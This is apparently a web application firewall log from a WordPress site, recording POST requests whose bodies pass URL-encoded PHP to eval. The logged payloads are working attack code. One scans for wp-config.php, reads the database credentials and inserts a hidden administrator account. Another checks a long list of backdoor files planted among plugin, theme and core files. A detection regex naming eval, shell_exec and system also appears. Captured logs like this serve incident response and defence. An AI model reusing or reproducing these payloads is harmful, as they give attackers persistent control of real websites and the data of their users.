um_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\nGBStEu=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 19:06:41","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:10584\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nEmiqkL=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2